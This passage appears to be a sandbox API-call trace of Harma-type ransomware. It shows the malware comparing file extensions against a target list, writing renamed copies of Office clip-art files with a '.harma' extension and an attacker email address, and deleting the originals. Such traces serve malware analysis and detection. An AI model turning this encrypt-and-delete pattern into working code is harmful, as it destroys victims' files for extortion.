lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0161.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0161.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0161.979] lstrlenW (lpString=".doc") returned 4 [0161.979] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0161.979] lstrlenW (lpString=".docx") returned 5 [0161.979] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0161.979] lstrlenW (lpString=".pdf") returned 4 [0161.980] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0161.980] lstrlenW (lpString=".xls") returned 4 [0161.980] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0161.980] lstrlenW (lpString=".xlsx") returned 5 [0161.980] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0161.980] lstrlenW (lpString=".ppt") returned 4 [0161.980] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0161.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0161.980] lstrlenW (lpString=".zip") returned 4 [0161.980] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0161.980] lstrlenW (lpString=".rar") returned 4 [0161.980] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0161.980] lstrlenW (lpString=".bz2") returned 4 [0161.980] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0161.980] lstrlenW (lpString=".7z") returned 3 [0161.980] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0161.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0161.980] lstrlenW (lpString=".dbf") returned 4 [0161.980] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0161.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0161.980] lstrlenW (lpString=".1cd") returned 4 [0161.981] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0161.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0161.981] lstrlenW (lpString=".jpg") returned 4 [0161.981] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0161.981] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0161.981] lstrlenW (lpString="J0099157.JPG") returned 12 [0161.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0161.983] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=9671) returned 1 [0161.983] CloseHandle (hObject=0x338) returned 1 [0161.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 0x20 [0161.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0161.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0161.983] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.984] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.985] GetLastError () returned 0x0 [0161.985] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x25c7, lpOverlapped=0x0) returned 1 [0161.988] WriteFile (in: hFile=0x374, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x25d0, lpOverlapped=0x0) returned 1 [0161.990] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.990] WriteFile (in: hFile=0x374, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.990] SetEndOfFile (hFile=0x374) returned 1 [0161.990] CloseHandle (hObject=0x374) returned 1 [0161.990] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.990] SetEndOfFile (hFile=0x338) returned 1 [0161.993] CloseHandle (hObject=0x338) returned 1 [0161.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0161.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0161.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0161.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0161.995] lstrlenW (lpString=".doc") returned 4 [0161.995] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0161.995] lstrlenW (lpString=".docx") returned 5 [0161.995] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0161.995] lstrlenW (lpString=".pdf") returned 4 [0161.995] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0161.995] lstrlenW (lpString=".xls") returned 4 [0161.995] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0161.995] lstrlenW (lpString=".xlsx") returned 5 [0161.995] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0161.995] lstrlenW (lpString=".ppt") returned 4 [0161.995] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0161.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0161.995] lstrlenW (lpString=".zip") returned 4 [0161.995] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0161.995] lstrlenW (lpString=".rar") returned 4 [0161.995] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0161.995] lstrlenW (lpString=".bz2") returned 4 [0161.995] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0161.996] lstrlenW (lpString=".7z") returned 3 [0161.996] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0161.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0161.996] lstrlenW (lpString=".dbf") returned 4 [0161.996] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0161.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0161.996] lstrlenW (lpString=".1cd") returned 4 [0161.996] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0161.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0161.996] lstrlenW (lpString=".jpg") returned 4 [0161.996] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0161.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0161.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0161.996] lstrlenW (lpString=".doc") returned 4 [0161.996] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0161.996] lstrlenW (lpString=".docx") returned 5 [0161.996] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0161.996] lstrlenW (lpString=".pdf") returned 4 [0161.996] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0161.996] lstrlenW (lpString=".xls") returned 4 [0161.996] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0161.996] lstrlenW (lpString=".xlsx") returned 5 [0161.996] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0161.996] lstrlenW (lpString=".ppt") returned 4 [0161.996] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0161.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0161.997] lstrlenW (lpString=".zip") returned 4 [0161.997] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0161.997] lstrlenW (lpString=".rar") returned 4 [0161.997] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0161.997] lstrlenW (lpString=".bz2") returned 4 [0161.997] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0161.997] lstrlenW (lpString=".7z") returned 3 [0161.997] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0161.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0161.997] lstrlenW (lpString=".dbf") returned 4 [0161.997] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0161.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0161.997] lstrlenW (lpString=".1cd") returned 4 [0161.997] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0161.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0161.998] lstrlenW (lpString=".jpg") returned 4 [0161.998] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0161.998] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0161.998] lstrlenW (lpString="J0099158.WMF") returned 12 [0161.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0161.999] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=26160) returned 1 [0161.999] CloseHandle (hObject=0x338) returned 1 [0161.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 0x20 [0162.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0162.000] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.000] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0162.001] GetLastError () returned 0x0 [0162.001] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x6630, lpOverlapped=0x0) returned 1 [0162.005] WriteFile (in: hFile=0x374, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6640, lpOverlapped=0x0) returned 1 [0162.168] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0162.168] WriteFile (in: hFile=0x374, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.212] SetEndOfFile (hFile=0x374) returned 1 [0162.212] CloseHandle (hObject=0x374) returned 1 [0162.212] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.212] SetEndOfFile (hFile=0x338) returned 1 [0162.216] CloseHandle (hObject=0x338) returned 1 [0162.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0162.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0162.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0162.391] lstrlenW (lpString=".doc") returned 4 [0162.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.391] lstrlenW (lpString=".docx") returned 5 [0162.391] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0162.391] lstrlenW (lpString=".pdf") returned 4 [0162.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.391] lstrlenW (lpString=".xls") returned 4 [0162.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.391] lstrlenW (lpString=".xlsx") returned 5 [0162.391] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0162.391] lstrlenW (lpString=".ppt") returned 4 [0162.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0162.391] lstrlenW (lpString=".zip") returned 4 [0162.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.391] lstrlenW (lpString=".rar") returned 4 [0162.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.392] lstrlenW (lpString=".bz2") returned 4 [0162.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.392] lstrlenW (lpString=".7z") returned 3 [0162.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0162.392] lstrlenW (lpString=".dbf") returned 4 [0162.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0162.392] lstrlenW (lpString=".1cd") returned 4 [0162.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0162.392] lstrlenW (lpString=".jpg") returned 4 [0162.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0162.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0162.392] lstrlenW (lpString=".doc") returned 4 [0162.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.392] lstrlenW (lpString=".docx") returned 5 [0162.392] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0162.392] lstrlenW (lpString=".pdf") returned 4 [0162.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.392] lstrlenW (lpString=".xls") returned 4 [0162.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.392] lstrlenW (lpString=".xlsx") returned 5 [0162.392] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0162.393] lstrlenW (lpString=".ppt") returned 4 [0162.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0162.393] lstrlenW (lpString=".zip") returned 4 [0162.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.393] lstrlenW (lpString=".rar") returned 4 [0162.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.393] lstrlenW (lpString=".bz2") returned 4 [0162.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.393] lstrlenW (lpString=".7z") returned 3 [0162.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0162.393] lstrlenW (lpString=".dbf") returned 4 [0162.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0162.393] lstrlenW (lpString=".1cd") returned 4 [0162.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0162.393] lstrlenW (lpString=".jpg") returned 4 [0162.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.394] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0162.394] lstrlenW (lpString="J0099164.WMF") returned 12 [0162.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.395] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=21946) returned 1 [0162.395] CloseHandle (hObject=0x3a4) returned 1 [0162.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 0x20 [0162.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.405] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.422] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.427] GetLastError () returned 0x0 [0162.427] ReadFile (in: hFile=0x330, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x55ba, lpOverlapped=0x0) returned 1 [0162.429] WriteFile (in: hFile=0x398, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x55c0, lpOverlapped=0x0) returned 1 [0162.432] ReadFile (in: hFile=0x330, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0162.432] WriteFile (in: hFile=0x398, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.432] SetEndOfFile (hFile=0x398) returned 1 [0162.432] CloseHandle (hObject=0x398) returned 1 [0162.432] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.432] SetEndOfFile (hFile=0x330) returned 1 [0162.435] CloseHandle (hObject=0x330) returned 1 [0162.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0162.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0162.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0162.437] lstrlenW (lpString=".doc") returned 4 [0162.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.437] lstrlenW (lpString=".docx") returned 5 [0162.437] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0162.437] lstrlenW (lpString=".pdf") returned 4 [0162.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.437] lstrlenW (lpString=".xls") returned 4 [0162.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.437] lstrlenW (lpString=".xlsx") returned 5 [0162.437] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0162.437] lstrlenW (lpString=".ppt") returned 4 [0162.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0162.438] lstrlenW (lpString=".zip") returned 4 [0162.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.438] lstrlenW (lpString=".rar") returned 4 [0162.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.438] lstrlenW (lpString=".bz2") returned 4 [0162.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.438] lstrlenW (lpString=".7z") returned 3 [0162.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0162.438] lstrlenW (lpString=".dbf") returned 4 [0162.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0162.438] lstrlenW (lpString=".1cd") returned 4 [0162.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0162.438] lstrlenW (lpString=".jpg") returned 4 [0162.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0162.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0162.439] lstrlenW (lpString=".doc") returned 4 [0162.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.439] lstrlenW (lpString=".docx") returned 5 [0162.439] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0162.439] lstrlenW (lpString=".pdf") returned 4 [0162.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.439] lstrlenW (lpString=".xls") returned 4 [0162.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.439] lstrlenW (lpString=".xlsx") returned 5 [0162.439] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0162.439] lstrlenW (lpString=".ppt") returned 